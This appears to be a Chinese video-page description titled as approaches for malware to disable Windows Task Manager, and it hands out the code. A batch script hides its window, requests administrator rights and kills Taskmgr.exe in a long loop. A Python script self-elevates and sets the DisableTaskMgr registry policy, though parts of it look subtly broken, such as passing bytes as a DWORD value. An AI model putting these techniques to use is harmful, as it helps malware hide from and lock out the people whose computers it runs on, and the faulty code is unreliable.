恶意程序禁用任务管理器的几种思路

合集 · 粘连科技 (27)

Description
代码在此(取代码球球留个赞再走吧😭)

bat脚本:
@echo off
if "%1"=="hide" goto CmdBegin
start mshta vbscript:createobject("wscript.shell").run("""%~0"" hide",0)(window.close)&&exit
:CmdBegin
:: 检查是否以管理员权限运行
net session >nul 2>&1
if %errorlevel% neq 0 (
  echo 请求管理员权限...
  PowerShell -Command "Start-Process '%~dpnx0' -Verb RunAs"
  exit /b
)

:: 以下是你的实际批处理命令
:loop
taskkill /F /IM Taskmgr.exe
set /a num+=1
if %num% lss 1000000 goto :loop
:: 在这里添加你的实际命令
pause

python:
import winreg
import ctypes
import sys


ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)


def reg_disable_taskmgr(dwDisable=True):
    try:
        key = winreg.CreateKey(winreg.HKEY_CURRENT_USER,
                               r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
        value = int(dwDisable)
        winreg.SetValueEx(key, "DisableTaskMgr", 1, winreg.REG_DWORD, value.to_bytes(4, byteorder='little'))
        winreg.CloseKey(key)
    except Exception as e:
        print(f"An error occurred: {e}")


def disable_task_manager():
    # 注册表路径
    registry_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
    # 注册表项名
    registry_name = "DisableTaskMgr"
    # 要设置的值（1 表示禁用任务管理器，0 表示启用）
    value = 1
    try:
        reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, registry_path, 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, registry_name, 0, winreg.REG_SZ, str(value))
        winreg.CloseKey(reg_key)
    except WindowsError as e:
        print(f"设置注册表时发生错误: {e}")

reg_disable_taskmgr()
disable_task_manager()